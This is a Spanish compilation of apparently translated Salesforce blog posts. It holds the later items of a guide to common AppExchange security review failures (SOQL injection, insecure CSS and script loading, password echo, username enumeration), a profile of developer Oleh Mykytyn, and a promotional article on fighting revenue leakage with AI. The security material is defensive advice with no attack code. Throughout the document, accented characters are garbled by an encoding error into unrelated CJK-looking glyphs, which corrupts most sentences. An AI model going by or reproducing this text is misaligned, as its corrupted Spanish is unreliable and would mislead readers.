驴C贸mo puedo abordar esto?

Nuestra regla es que todos los recursos de script y estilo deben agregarse al paquete como recursos est谩ticos y luego cargarse con una etiqueta <apex:includeScript> en su p谩gina (para Visualforce) o un ltng:require en su .cmp o .app. marcado (para Aura).

Nota: Si tiene un LWC, defina los m贸dulos JavaScript que importe a su componente o use la funci贸n loadScript para cargar un archivo JavaScript de recursos est谩ticos.

Para paquetes que no son LWC, la mejor manera de verificar este problema es buscar manualmente su c贸digo fuente para asegurarse de que todas las bibliotecas de JavaScript est茅n almacenadas como recursos est谩ticos, no cargadas din谩micamente a trav茅s de hiperv铆nculos.

Para situaciones en las que esto no sea factible, recomendamos programar una cita en horario de oficina t茅cnica para analizar su caso de uso. Es posible obtener una excepci贸n en ciertos casos.

Obtenga m谩s informaci贸n sobre este problema en nuestra documentaci贸n para desarrolladores .

#10 鈥 Inyecci贸n SOQL

驴Qu茅 es esto?

La inyecci贸n SOQL es la versi贸n espec铆fica de Salesforce de la inyecci贸n SQL. Ocurre cuando una entrada no validada proporcionada por el usuario se inserta directamente en una consulta SOQL din谩mica. Si la entrada no est谩 validada, puede incluir comandos SOQL que modifican efectivamente la declaraci贸n SOQL y enga帽an a la aplicaci贸n para que ejecute comandos no deseados.

驴C贸mo puedo abordar esto?

La forma m谩s sencilla de evitar el problema es evitar consultas din谩micas en favor de consultas est谩ticas y utilizar variables vinculantes. De lo contrario, deber谩 validar estrictamente las entradas del usuario antes de usarlas en consultas mediante t茅cnicas como encasillamiento, lista blanca de entradas o escape.

Code Analyzer , PMD para VS Code y Checkmarx tambi茅n pueden ayudarlo a escanear su c贸digo.

Para obtener m谩s informaci贸n, consulte nuestro m贸dulo Trailhead o revise nuestra documentaci贸n para desarrolladores .

Para aplicaciones que no son de Salesforce, es posible que desee obtener m谩s informaci贸n sobre la inyecci贸n SQL en la gu铆a OWASP . Los esc谩neres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , tambi茅n pueden ayudar a identificar problemas de inyecci贸n SQL.

#11 鈥 Lightning: carga CSS inadecuada

驴Qu茅 es esto?

Similar al problema de usar etiquetas <script> o <link> para cargar JavaScript en sus paquetes, usar etiquetas <link> o <style> para cargar CSS en lugar de <apex:stylesheet> (Visualforce) o <ltng:require> ( Aura) se considera una pr谩ctica insegura. Estas etiquetas <link> y <style> pueden hacer referencia a recursos externos o en l铆nea que contienen CSS o JavaScript, y la arquitectura de seguridad Lightning Web Security (LWS) de Salesforce no los controla ni los desinfecta.

Para los componentes de Aura, en particular, el uso de <ltng:require> tambi茅n permite a Salesforce aplicar correctamente las reglas de seguridad LWS y garantizar que el CSS que est谩 cargando est茅 correctamente aislado y no incluya c贸digo o estilos JavaScript no seguros que puedan afectar negativamente a otros. partes de su aplicaci贸n Salesforce.

驴C贸mo puedo abordar esto?

Para hacer referencia a un recurso CSS externo que haya subido como recurso est谩tico, use una etiqueta <apex:stylesheet> en su p谩gina (para Visualforce) o una etiqueta <ltng:require> en su marcado .cmp o .app (para Aura ). Busque el c贸digo fuente de su paquete para asegurarse de que no haya utilizado etiquetas <link> o <style> en ning煤n lugar para cargar recursos CSS.

Nota: Si tiene una LWC, no puede encontrarse con este problema de todos modos porque, al igual que las etiquetas <script> , las etiquetas <style> ya est谩n bloqueadas para su uso dentro de las plantillas HTML. En su lugar, incluir铆a su CSS en el archivo CSS asociado de su componente o usar铆a la funci贸n loadStyle para cargar un archivo CSS de recursos est谩ticos.

Puede encontrar m谩s informaci贸n en nuestra documentaci贸n para desarrolladores .

#12: JavaScript en Salesforce DOM (solo experiencia cl谩sica)

驴Qu茅 es esto?

Salesforce tiene reglas estrictas sobre el uso de JavaScript y una de esas reglas es que JavaScript no se puede ejecutar directamente dentro del contexto de la aplicaci贸n Salesforce. Esto significa que no puede incluir bloques de JavaScript directamente dentro de los componentes que se ejecutan en Salesforce DOM, como HomePageComponents, WebLinks, Custom Buttons, etc.

En cambio, todo JavaScript debe residir bajo el dominio de espacio de nombres de su aplicaci贸n en las p谩ginas de Visualforce que usted controla, de modo que el JavaScript personalizado est茅 esencialmente aislado del DOM principal de Salesforce. Eso significa que no puede usar JavaScript para crear botones personalizados, pesta帽as web, componentes de p谩gina de inicio y elementos similares (por ejemplo, incluir controladores de eventos de JavaScript onclick en botones personalizados podr铆a ser motivo de falla).

驴C贸mo puedo abordar esto?

Esto es algo que deber谩 verificar manualmente en el c贸digo fuente de su paquete Salesforce. Verifique y aseg煤rese de que no haya utilizado JavaScript para crear botones personalizados, pesta帽as web, componentes de la p谩gina de inicio u otros elementos similares, y verifique que cualquier JavaScript personalizado est茅 incluido solo en el dominio de su aplicaci贸n con espacio de nombres en las p谩ginas de VisualForce que controla como parte de su aplicaci贸n.

Una forma de verificar esto es buscar el texto <openType>onClickJavaScript</openType> en los archivos de metadatos de la aplicaci贸n (a menudo en archivos XML como weblink/something.weblink) y, si lo encuentra, aseg煤rese de eliminarlo. Incluso si su aplicaci贸n solo est谩 destinada a usarse en Lightning Experience, si la vulnerabilidad est谩 presente para los usuarios en modo Cl谩sico, el paquete no se puede aprobar.

Esta regla en particular no est谩 especialmente bien documentada, pero puede leer m谩s en el documento Lista de verificaci贸n de revisi贸n de seguridad de AppExchange (se requiere iniciar sesi贸n en la comunidad de socios).

#13 鈥 Divulgaci贸n de informaci贸n en p谩ginas de error y excepciones

驴Qu茅 es esto?

En el contexto de la revisi贸n de seguridad de AppExchange, este t茅rmino se refiere espec铆ficamente a situaciones (generalmente en aplicaciones o servicios web que no son de Salesforce o fuera de plataforma) donde sus p谩ginas de error muestran datos confidenciales del sistema o informaci贸n de depuraci贸n. Por ejemplo, a veces las p谩ginas de error incluyen seguimientos de pila completos que muestran c贸mo se hace referencia internamente a los objetos o rutas de archivo relativas al lugar donde est谩 instalada la aplicaci贸n. A veces, incluso la informaci贸n confidencial queda expuesta de esta manera.

驴C贸mo puedo abordar esto?

Busque en su base de c贸digo llamadas que causen excepciones o que los seguimientos de pila se representen en cadenas o flujos de salida, y realice pruebas que puedan causar errores, como entradas no v谩lidas, entradas vac铆as, entradas demasiado largas, acceso a p谩ginas internas sin autenticaci贸n, omisi贸n de aplicaciones. flujo, etc

La herramienta de fuzzing de Burp Suite puede ser una gran ayuda en este caso.

Tambi茅n puede obtener excelentes consejos para realizar pruebas de seguimiento de pila a trav茅s de esta gu铆a de OWASP .

#14 鈥 Componentes de Aura: componente externo de CSS

驴Qu茅 es esto?

Se supone que los componentes de Aura son peque帽os, aut贸nomos, reutilizables y reposicionables. CSS que evita la encapsulaci贸n de componentes (a trav茅s de .THIS) o que utiliza un posicionamiento no est谩ndar (por ejemplo, flotante o posici贸n: absoluta o fija) infringe estas garant铆as y puede interferir con la visualizaci贸n de otros componentes. En particular, el uso del posicionamiento absoluto en CSS es la raz贸n principal de este tipo de falla.

Si bien esto puede no parecer un problema de seguridad a primera vista, puede alterar el dise帽o del sitio web de Salesforce y viola el esp铆ritu del modelo de seguridad de Lightning, donde los componentes est谩n estrictamente aislados y se garantiza que permanecer谩n en su propio carril.

驴C贸mo puedo abordar esto?

Este es otro problema que debes verificar manualmente. B谩sicamente, busque en el CSS de su componente Aura, especialmente para posicionamiento absoluto/fijo o ancho y alto fijos. Tambi茅n recomendamos revisar nuestra documentaci贸n para asegurarse de que est谩 siguiendo todas las reglas CSS correctas.

#15 鈥 Canal de mensajes expuesto

驴Qu茅 es esto?

Este t茅rmino se refiere espec铆ficamente a los casos en los que no ha configurado el indicador isExposed en Lightning Message Channel en falso. Dado que esto proporciona acceso a la API del Servicio de mensajes Lightning (LMS), que le permite publicar y suscribirse a mensajes en todo el DOM y entre Aura, Visualforce y Lightning Web Components, debe establecerse en falso a menos que sea realmente necesario.

驴C贸mo puedo abordar esto?

Tiene dos opciones, seg煤n su caso de uso, que incluyen:

  1. Registre un ticket de soporte para solicitar que se habilite la eliminaci贸n de componentes administrados para su paquete u organizaci贸n de Dev Hub y elimine el componente del paquete. Si no puede hacerlo (por ejemplo, si esto afectar铆a la funcionalidad de los suscriptores que dependen de canales de mensajes expuestos), puede dejar el componente en el paquete y simplemente no usarlo (aseg煤rese de mencionar esto espec铆ficamente en un mensaje falso). documento positivo sobre su presentaci贸n).
  2. Si tiene que utilizar un componente de canal LMS, aseg煤rese de tener isExposed=false . Esto debe hacerse creando un nuevo componente de canal LMS porque los componentes existentes con isExposed=true no pueden cambiar isExposed=false . Utilice 煤nicamente el componente reci茅n creado en el c贸digo.

M谩s informaci贸n est谩 disponible en la documentaci贸n .

#16 鈥 Informaci贸n confidencial en URL

驴Qu茅 es esto?

Esto se refiere a una situaci贸n en la que se env铆a informaci贸n confidencial de larga duraci贸n en URL (por ejemplo, un ID o secreto de cliente, o un nombre de usuario/contrase帽a). En realidad, esto puede llevar a que se filtren secretos a largo plazo de varias maneras posibles. Por ejemplo:

  • Las URL completas a menudo se almacenan en servidores en registros de texto sin cifrar que pueden no almacenarse de forma segura y pueden ser vistos por el personal o comprometidos por un tercero.
  • Los motores de b煤squeda indexan URL y almacenan inadvertidamente informaci贸n confidencial
  • Almacenamiento de rutas URL completas en el historial del navegador local, cach茅 del navegador, marcadores y marcadores sincronizados entre dispositivos
  • Informaci贸n de URL enviada a aplicaciones web de terceros a trav茅s del encabezado de referencia o expuesta a scripts de terceros en la p谩gina

驴C贸mo puedo abordar esto?

Burp Suite puede ayudarle aqu铆 para aplicaciones web que no sean de Salesforce o fuera de plataforma, pero en general recomendamos comprobar manualmente su aplicaci贸n para detectar cualquier caso en el que se env铆en secretos a largo plazo a trav茅s de URL. Dependiendo de su caso de uso, es posible que deba realizar cambios, como usar solicitudes POST en lugar de solicitudes GET, cambiar su m茅todo de autenticaci贸n (OAuth 2.0 es generalmente ideal) y emplear cifrado y mejores m茅todos de almacenamiento de secretos.

La gu铆a OWASP es un gran recurso a seguir.

#17 鈥 Punto final inseguro

驴Qu茅 es esto?

El nombre de esta vulnerabilidad simplemente se refiere a situaciones en las que se utiliza HTTP en lugar de HTTPS.

驴C贸mo puedo abordar esto?

Las herramientas de escaneo pueden ser de ayuda, pero una forma a煤n m谩s segura de verificar esto es buscar en el c贸digo fuente enlaces HTTP y cambiarlos a HTTPS. Puede aprender un poco m谩s sobre c贸mo esto mejora la seguridad en esta p谩gina de OWASP .

#18 鈥 Enumeraci贸n de nombre de usuario o correo electr贸nico

驴Qu茅 es esto?

Por lo general, este problema solo surge en aplicaciones web externas fuera de la plataforma Salesforce. Se refiere a una situaci贸n en la que los atacantes pueden enumerar listas de nombres de usuario o correos electr贸nicos de su base de usuarios, generalmente analizando cambios en mensajes de error en funciones de inicio de sesi贸n, funciones de olvido de contrase帽a o registros de cuentas. Los atacantes suelen hacer esto para poder comprobar si hay contrase帽as reutilizadas de bases de datos comprometidas y fugas o volcados de contrase帽as.

驴C贸mo puedo abordar esto?

Verifique sus mensajes de error para registros de cuentas, recuperaci贸n de contrase帽as, intentos de inicio de sesi贸n, etc., y aseg煤rese de que su mensaje de error sea el mismo independientemente de si el nombre de usuario o el correo electr贸nico ingresado es v谩lido.

Por ejemplo, muchos sitios incluyen un mensaje gen茅rico, como: "Si dicho usuario existe, recibir谩 un correo electr贸nico con un restablecimiento de contrase帽a". Este tipo de mensaje general evita confirmar la existencia de un nombre de usuario o correo electr贸nico.

Por supuesto, en determinadas situaciones, puede ser inevitable (por ejemplo, durante el registro de una cuenta, es posible que deba confirmar que se ha utilizado un nombre de usuario). En esas situaciones, intente implementar controles que impidan la enumeraci贸n por fuerza bruta, como captchas para evitar que los robots eliminen su formulario de registro.

Burp Suite es una excelente herramienta para verificar esto, pero si no la tiene, tambi茅n puede revisar sus funcionalidades de inicio de sesi贸n manualmente.

OWASP tiene una gu铆a 煤til para evitar la enumeraci贸n de correos electr贸nicos y nombres de usuarios.

#19 鈥 Gesti贸n de contrase帽as

驴Qu茅 es esto?

En ocasiones, el equipo de seguridad falla en sitios y aplicaciones web externos (que no sean Salesforce) por tener pol铆ticas de contrase帽as problem谩ticas, como por ejemplo:

  • Permitir la reutilizaci贸n de la misma contrase帽a cuando es necesario restablecerla
  • No solicitar la contrase帽a anterior cuando se permite a los usuarios establecer una nueva contrase帽a
  • Para restablecer la contrase帽a, enviar una contrase帽a temporal al correo electr贸nico de un usuario en texto sin formato
  • Dejar contrase帽as predeterminadas en los usuarios ra铆z del servidor o de la base de datos

驴C贸mo puedo abordar esto?

Adem谩s de evitar las situaciones anteriores, consulte la Hoja de referencia de autenticaci贸n de OWASP para obtener algunas pautas sobre c贸mo establecer pol铆ticas de contrase帽as seguras:

Burp Suite tambi茅n es muy 煤til para identificar problemas relacionados con las contrase帽as (por ejemplo, puede usarlo para intentar forzar sus p谩ginas de inicio de sesi贸n).

#20 鈥 Eco de contrase帽a

驴Qu茅 es esto?

Esto es un poco diferente del problema de administraci贸n de contrase帽as descrito anteriormente. Un eco de contrase帽a se refiere a situaciones en las que las contrase帽as se reflejan en texto sin formato en la interfaz de usuario (como cuando el usuario visita su propia p谩gina de configuraci贸n) o en llamadas API/respuestas JSON.

驴C贸mo puedo abordar esto?

Aseg煤rese de que su contrase帽a no se revele ni se transmita en texto sin formato en ninguna parte de su aplicaci贸n. Aseg煤rese de que en las p谩ginas de configuraci贸n u otras p谩ginas que muestran secretos, se muestren solo como asteriscos (se pueden mostrar al hacer clic en el bot贸n si es necesario).

Consulte la hoja de referencia sobre almacenamiento de contrase帽as de OWASP para obtener m谩s informaci贸n.

Burp Suite , o quiz谩s Chimera u OWASP ZAP , tambi茅n pueden ayudarle a detectar estos problemas.

Recursos adicionales

Si su soluci贸n incluye sitios web o aplicaciones web personalizados que no son de Salesforce, le recomendamos encarecidamente invertir en una licencia de Burp Suite si es financieramente viable para su organizaci贸n. Burp Suite es una de las mejores herramientas de seguridad del mercado y tambi茅n la utiliza mucho nuestro propio equipo de seguridad de productos. Chimera u OWASP ZAP son alternativas completamente gratuitas, pero prep谩rate para invertir m谩s tiempo en t茅rminos de revisi贸n manual, ya que carecen de muchas de las potentes funciones/herramientas que tiene Burp Suite.

Nota: Si su oferta se integra con aplicaciones o servicios web que no son de su propiedad, no intente escanear los puntos finales hasta que haya obtenido el permiso del propietario.

Salesforce Product Security tambi茅n utiliza Code Analyzer , PMD para VS Code y Checkmarx para revisar el c贸digo fuente del paquete Salesforce. Tambi茅n utilizan la base de datos CVE y el esc谩ner Qualys SSL en la mayor铆a de los env铆os.

Si tiene problemas de seguridad y necesita orientaci贸n t茅cnica, los socios ISV pueden registrarse para obtener horas de oficina gratuitas con nuestros ingenieros de seguridad a trav茅s del Portal de seguridad para socios .

Por 煤ltimo, no podemos recomendar lo suficiente Trailhead en t茅rminos de preparaci贸n para revisiones de seguridad. Vale la pena dedicar tiempo a la ruta Desarrollar aplicaciones web seguras y tambi茅n acabamos de renovar el m贸dulo Revisi贸n de seguridad de AppExchange , que analiza el proceso de env铆o de un extremo a otro.

Sobre el Autor

Anika Teppo es evangelista t茅cnica en Salesforce. Ha estado trabajando con el equipo de revisi贸n de seguridad de AppExchange en Salesforce desde 2017, y su funci贸n actual consiste en hacer que Salesforce Labs y las soluciones internas se revisen y publiquen en AppExchange.

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Oleh Mykytyn encuentra su prop贸sito como desarrollador de Salesforce 鈽侊笍

Oleh Mykytyn encuentra su prop贸sito como desarrollador de Salesforce 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Oleh Mykytyn encuentra su prop贸sito como desarrollador de Salesforce | Blog de desarrolladores de Salesforce

El desarrollador de Salesforce, Oleh Mykytyn , comenz贸 su viaje con Salesforce en 2015 cuando su hermano, Nazar, tambi茅n desarrollador de Salesforce, recomend贸 probar Salesforce a trav茅s de la plataforma de aprendizaje Trailhead . Trailhead es la puerta de entrada al ecosistema de Salesforce, donde cualquiera puede aprender de forma gratuita las habilidades m谩s demandadas y relevantes de la actualidad, obtener credenciales dignas de un curr铆culum y conectarse a oportunidades globales. Cuando Oleh se enter贸 de que pod铆a obtener una sudadera con capucha Trailblazer por completar cinco insignias Trailhead, se propuso ese objetivo.

Bueno, Oleh consigui贸 esa sudadera con capucha y ha sido desarrollador de Salesforce desde entonces. Despu茅s de ese logro inicial, Oleh pas贸 a completar insignia tras insignia, desarrollando sus habilidades en Salesforce hasta el punto en que actualmente registra 148 insignias y cuatro superbadges. Sus favoritos incluyen Apex Specialist y Advanced Apex Specialist .

Pero Oleh tambi茅n ha llevado las habilidades aprendidas al lugar de trabajo y hoy es el Jefe de Atenci贸n al Cliente en Redtag. En este cargo, habla en conferencias internacionales en todo el mundo, escribe art铆culos y aparece como invitado en podcasts. Oleh ahora es reconocido como un pilar de la comunidad Trailblazer , una red global y diversa de 18 millones de estudiantes que adquieren habilidades y se apoyan unos a otros. En el pasado, Oleh no cre铆a que pudiera lograr tales cosas, pero ahora conf铆a en que puede lograr el 茅xito profesional con trabajo duro, pasi贸n y un proceso paso a paso.

Oleh presenta en la conferencia comunitaria de Salesforce Czech Dreamin'

Qu茅 significa ser un desarrollador de Salesforce

"Ser desarrollador de Salesforce significa estar preparado para los desaf铆os", dice Oleh. 鈥淪iempre hay que pensar en grande y utilizar el pensamiento cr铆tico. Un desarrollador es una 'part铆cula' poderosa que impulsa la evoluci贸n del mundo y trae cosas incre铆bles a nuestras vidas para hacerlas m谩s simples y agradables. Nuestro valor es desarrollar experiencias de Salesforce y hacer felices a todos nuestros clientes鈥.

Ser desarrollador de Salesforce significa estar preparado para los desaf铆os.

Varias personas apoyaron a Oleh en el camino, como su novia, sus padres, su hermano y sus compa帽eros de equipo, y lo ayudaron a llegar a donde se encuentra ahora en su carrera. Recuerda: 鈥淩ecuerdo haber reprobado un examen o haber tenido desaf铆os en un proyecto, y siempre me dec铆an: 'La pr贸xima vez lo conseguir谩s'. 隆Y eso siempre pas贸!鈥

A Oleh siempre le entusiasma ver c贸mo Salesforce nunca deja de crecer e innovar, brindando nuevas y mejores experiencias a los desarrolladores y usuarios finales. "Me inspira ver c贸mo Salesforce valora y escucha a la comunidad", afirma. Una vez invitaron a Oleh a almorzar con el director ejecutivo de Salesforce, Marc Benioff, y qued贸 sorprendido por lo atento que estaba Marc a cada palabra, as铆 como por c贸mo consideraba cada comentario de Oleh.

Oleh y el director ejecutivo de Salesforce, Marc Benioff

Algunas sorpresas en el viaje de Salesforce

Al comienzo de su trayectoria en Salesforce, Oleh descubri贸 a Jim Rohn, un autor y orador motivacional estadounidense, que ayud贸 a Oleh a cambiar su forma de pensar. Recordar谩 una cita particular de Rohn por el resto de su vida: 鈥淣o desear铆a que fuera m谩s f谩cil; Ojal谩 estuvieras mejor鈥.

Con este esp铆ritu, Oleh siempre ha aprendido haciendo e investigando constantemente lo que se necesita. Aprender a hacer las preguntas correctas viene con la experiencia y la pr谩ctica. Una de las formas en que Oleh busca mejorar su marca personal es obteniendo certificaciones de Salesforce .

Oleh tras aprobar su primer examen de certificaci贸n de Salesforce

Actualmente, Oleh ha obtenido 11 certificaciones y aspira a aprobar una o dos certificaciones m谩s cada a帽o. Esto le permite seguir desafi谩ndose a s铆 mismo mientras adquiere nuevas y valiosas habilidades. Curiosamente, Oleh suspendi贸 su primera certificaci贸n, 鈥淎pp Builder鈥, dos veces y consider贸 brevemente que el desarrollo de TI no era para 茅l. Pero luego se dio cuenta de que hab铆a subestimado el examen y necesitaba prepararse m谩s de antemano.

Entonces, primero, Oleh analiz贸 la secci贸n en la que hab铆a suspendido con los porcentajes de cobertura m谩s bajos. Luego, utiliz贸 preguntas simuladas de tal manera que pudiera ejecutar completamente las tareas en su patio de juegos, lo que le dio una mejor comprensi贸n de la funcionalidad y le ayud贸 a recordarla mejor que simplemente leer sobre ella.

脡l dice: 鈥淢e inscrib铆 nuevamente para el examen, pero no se lo dije a nadie (para que nadie se enterara si reprobaba una tercera vez). Pero esta vez pas茅 y fue uno de los mejores d铆as de mi vida. Despu茅s de eso, obtuve una certificaci贸n tras otra y ahora s茅 definitivamente que el fracaso es la clave del 茅xito鈥.

Lecciones aprendidas de la comunidad Trailblazer

Oleh se involucr贸 profundamente en la comunidad Trailblazer de desarrolladores de Salesforce y aprendi贸 muchas lecciones a lo largo del camino. Dice: 鈥淎prend铆 que la marca personal a veces es crucial y, en combinaci贸n con las habilidades t茅cnicas, esto es… 隆BOOM! Realmente creo que los desarrolladores m谩s fuertes son las personas que tienen habilidades interpersonales muy bien desarrolladas鈥. Oleh explica que debe gran parte de su 茅xito a la buena comunicaci贸n, la empat铆a, la generaci贸n de confianza y el deseo de ser una buena persona en el mundo. Adem谩s, estas habilidades le han ayudado a formar conexiones profundas con las personas que le rodean.

Aprend铆 que la marca personal a veces es crucial y, en combinaci贸n con las habilidades t茅cnicas, esto es: 隆BOOM!

Las habilidades interpersonales y una actitud positiva tambi茅n son una alta prioridad para el equipo de Oleh. Creen que aquellos que est谩n dispuestos, son apasionados y buenos para establecer conexiones siempre encuentran la manera de adquirir las habilidades tecnol贸gicas necesarias. 鈥淢enos miedo y m谩s aportaciones鈥, afirma. "Todo es posible en esta vida, y la vida es demasiado corta para rechazar tus sue帽os por miedo".

Consejos para otros desarrolladores: los foros de desarrolladores son tus mejores amigos

"La comunidad Trailblazer es su familia", explica Oleh. "Aprende todo lo que puedas y devu茅lvelo cuando est茅s listo". En 2016, un buen amigo de los Pa铆ses Bajos le habl贸 de la existencia de los grupos comunitarios Trailblazer e inmediatamente supo que le gustar铆a llevarlos a los desarrolladores de Lviv .

La comunidad Trailblazer es su familia.

Oleh recuerda: "Cuando comenz贸 el grupo de Lviv, tom茅 la iniciativa de liderar el grupo y luego comenc茅 a conocer todos los eventos para desarrolladores de Salesforce". Esto llev贸 a Oleh a asistir a eventos dirigidos por Salesforce como Dreamforce y eventos Dreamin' dirigidos por la comunidad , e incluso fund贸 Salesforce Saturday en Lviv, una reuni贸n en persona de la comunidad Trailblazer que gana insignias juntos. Ahora, Oleh une y apoya a la comunidad de desarrolladores ucraniana mediante la creaci贸n de canales de Slack y transmisi贸n de YouTube a otras ciudades antes de los eventos virtuales.

El grupo de desarrolladores de Salesforce en Lviv

" Como equipo en Redtag, siempre nos apasiona desarrollar talentos e invitar a nuevos pioneros", dice Oleh. 鈥淓sto ayuda a hacer crecer nuestra familia Trailblazer Community. 隆La mejor manera de mantenerse conectado con la comunidad de desarrolladores de Salesforce es uni茅ndose a un foro, redes sociales y, por supuesto, eventos!

La comunidad Trailblazer tambi茅n ha hecho una gran contribuci贸n a la carrera de Oleh. Ha encontrado muchas respuestas en varios foros, toneladas de contenido valioso en publicaciones de blogs y muchas conversaciones con miembros de la comunidad que comparten recomendaciones o ideas. 脡l dice: 鈥淓stoy agradecido de tenerlos a todos. Gracias a ti, soy quien soy鈥.

La comunidad Trailblazer apoya al pa铆s de origen de Oleh, Ucrania, en Dreamforce 2022.

Oleh anima a todos a ver si hay grupos comunitarios Trailblazer locales o un s谩bado de Salesforce en su 谩rea y unirse a ellos de inmediato (busque un grupo cerca de usted ). Si no existe ninguno, entonces sugiere tomar la iniciativa de crear uno. "Siempre recomiendo los eventos en persona porque son m谩s atractivos e inspiradores".

Para conocer desarrolladores como Oleh y ampliar sus habilidades t茅cnicas, 煤nase a la comunidad de desarrolladores de Salesforce y sea parte de la conversaci贸n sobre todo lo relacionado con el desarrollo de Salesforce.

Sobre el Autor

Christie Fidura es la directora de Global Trailblazer Engagement. En este rol, busca involucrar y elevar a la comunidad y trabajar directamente con ellos para comprender sus desaf铆os, preocupaciones, logros e inspiraciones. Puede encontrar a Christie en la comunidad Trailblazer en https://trailblazer.me/id/christiefidura . Christie, community manager certificada y comercializadora ganadora de m煤ltiples premios, cree en la tecnolog铆a, la comunidad y la igualdad.

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Lucha contra las fugas de ingresos con inteligencia artificial, datos y poder administrativo

Lucha contra las fugas de ingresos con inteligencia artificial, datos y poder administrativo

脷ltima actualizaci贸n el 18 de agosto de 2023 por Rakesh Gupta

La fuga de ingresos es la amenaza oculta a la que se enfrentan todas las empresas. Desde las etapas iniciales de calificaci贸n de clientes potenciales hasta las ventas adicionales y cruzadas, los ingresos potenciales pueden perderse en cualquier punto del embudo de ventas debido a brechas e ineficiencias.

En este art铆culo, exploraremos c贸mo las empresas pueden utilizar la inteligencia artificial (IA) y los datos para combatir la fuga de ingresos junto con la experiencia de los administradores de Salesforce.

En su forma m谩s simple, la fuga de ingresos es la p茅rdida de ingresos ganables debido a errores no forzados y desalineaciones en el proceso de generaci贸n de ingresos. Seg煤n Boston Consulting Group , las d茅biles estrategias de lanzamiento al mercado est谩n causando que las empresas pierdan $2 billones al a帽o en ingresos potenciales perdidos y costos excesivos.  

Profundizaremos en este tema cr铆tico en Dreamforce en San Francisco del 12 al 14 de septiembre de 2023. Como orgulloso patrocinador del evento, Revenue Grid compartir谩 informaci贸n sobre c贸mo las empresas pueden abordar de manera efectiva la fuga de ingresos utilizando el poder de la IA y los datos. . Nuestra misi贸n es simple: capacitar a las empresas para salvaguardar sus ingresos ganados con tanto esfuerzo y, como administrador de Salesforce, 隆usted tiene la clave de esta iniciativa! 脷nase a nosotros en Dreamforce para sumergirse en el emocionante mundo de la protecci贸n de ingresos impulsada por IA y descubra c贸mo abordar este desaf铆o comercial cr铆tico.

Revolucionando la batalla contra las fugas de ingresos con IA

La lucha contra la fuga de ingresos nunca ha sido un trabajo f谩cil. Con el auge de la IA generativa, surge una poderosa herramienta contra las fugas de ingresos, que transforma la forma en que las empresas combaten este desafiante problema. La adopci贸n de IA entre las organizaciones B2B est谩 en constante aumento. La investigaci贸n de McKinsey indica que el 90 % de los l铆deres comerciales prev茅 utilizar con frecuencia soluciones de IA generativa en los pr贸ximos dos a帽os. Adem谩s, las organizaciones que invierten en IA est谩n experimentando aumentos sustanciales en los ingresos, que van del 3 % al 15 %, seg煤n el mismo informe.

La IA es un poderoso aliado en la lucha contra las fugas de ingresos. Sin embargo, no puede hacerlo solo. El punto clave a entender es que la IA aprende de los datos generados por humanos. En t茅rminos m谩s simples, la efectividad de la IA est谩 directamente relacionada con la calidad de sus datos. Para aprovechar al m谩ximo el potencial de la IA y desbloquear sus capacidades para la protecci贸n de los ingresos, es esencial conectar datos fiables y confiables de diversas fuentes.

Sin embargo, en muchas organizaciones, los datos se a铆slan con frecuencia en varios sistemas, creando silos. Incluso las grandes organizaciones con s贸lidos procedimientos de gesti贸n de datos a menudo se encuentran con problemas de calidad de los datos, como la falta de datos en su CRM. Esta realidad nos enfrenta a un c铆rculo vicioso, ya que los datos incorrectos son una de las causas m谩s comunes de fuga de ingresos . Sin garantizar la integridad de los datos y aprovechar la IA, combatir de manera efectiva las fugas de ingresos se convierte en una tarea imposible.

Garantizar la integridad de los datos incluye manejar la seguridad y abordar las preocupaciones de cumplimiento que requieren conocimientos t茅cnicos y experiencia espec铆fica. Con sus conocimientos y habilidades, los administradores de Salesforce desempe帽an un papel vital en cerrar la brecha entre las capacidades de IA y la calidad de los datos, lo que permite a las empresas combatir las fugas de ingresos de manera efectiva.

Garantizar la integridad de los datos con captura de actividad y poder administrativo

Una de las principales razones detr谩s de los problemas de datos para las empresas es la dependencia de los procesos manuales, lo que puede conducir a la entrada de datos que requiere mucho tiempo y mano de obra, lo que resulta en datos faltantes, errores y duplicados en CRM.

La captura de actividad automatizada supera estos desaf铆os al ofrecer una alternativa efectiva a la entrada manual de datos. Al recopilar y guardar el 100 % de los datos de actividad en varios puntos de contacto con el cliente, las soluciones de captura de actividad eliminan los errores de entrada de datos y garantizan datos precisos y siempre actualizados en Salesforce.

Adem谩s, tener datos completos permite a las empresas ver el panorama general, lo que les permite evaluar el estado de la tuber铆a e identificar acuerdos que se est谩n moviendo, estancados o en riesgo, ayud谩ndolos a identificar posibles fugas antes de que ocurran. Adem谩s, la captura de actividad automatizada mejora la eficiencia al liberar a los equipos de ventas de dedicar tiempo a la entrada manual de datos.

Si bien la captura de actividad parece ser la soluci贸n ideal para garantizar la integridad de los datos, no todas las herramientas de captura de actividad se crean de la misma manera y algunas pueden tener serias desventajas. Estos pueden incluir no tener datos reportables en Salesforce, opciones de sincronizaci贸n personalizables limitadas, falta de sincronizaci贸n bidireccional que causa problemas de programaci贸n y vulnerabilidades de seguridad debido a la ausencia de opciones de implementaci贸n en la nube privada y local.

La experiencia y los conocimientos t茅cnicos de los administradores de Salesforce son cruciales para superar con 茅xito estos desaf铆os. Capacitar a los administradores para elegir e implementar la soluci贸n de captura de actividad adecuada y manejar los problemas relacionados con los datos cuando ocurren garantiza el mantenimiento de datos de CRM de alta calidad.

Aprovechar la IA para combatir la fuga de ingresos

Con la integridad de los datos asegurada, el motor de IA ahora se alimenta con informaci贸n esencial y est谩 listo para actuar. Los datos de actividad incluyen se帽ales invaluables sobre la canalizaci贸n, las oportunidades de ventas y las brechas potenciales en los procesos. Identificar estos conocimientos requiere un an谩lisis profundo de los datos, lo que es imposible con la evaluaci贸n manual. AI automatiza el an谩lisis de datos para visualizar el estado de la tuber铆a e identificar las brechas de ejecuci贸n que indican fugas de ingresos.  

A continuaci贸n, la IA crea informaci贸n procesable a trav茅s de la inteligencia de ingresos. Despu茅s de analizar cantidades masivas de datos, la IA detecta patrones y los transforma en informaci贸n procesable a trav茅s de recomendaciones de IA contextuales y en tiempo real. Esto brinda a los equipos la orientaci贸n que necesitan para abordar la posible fuga de ingresos de inmediato.

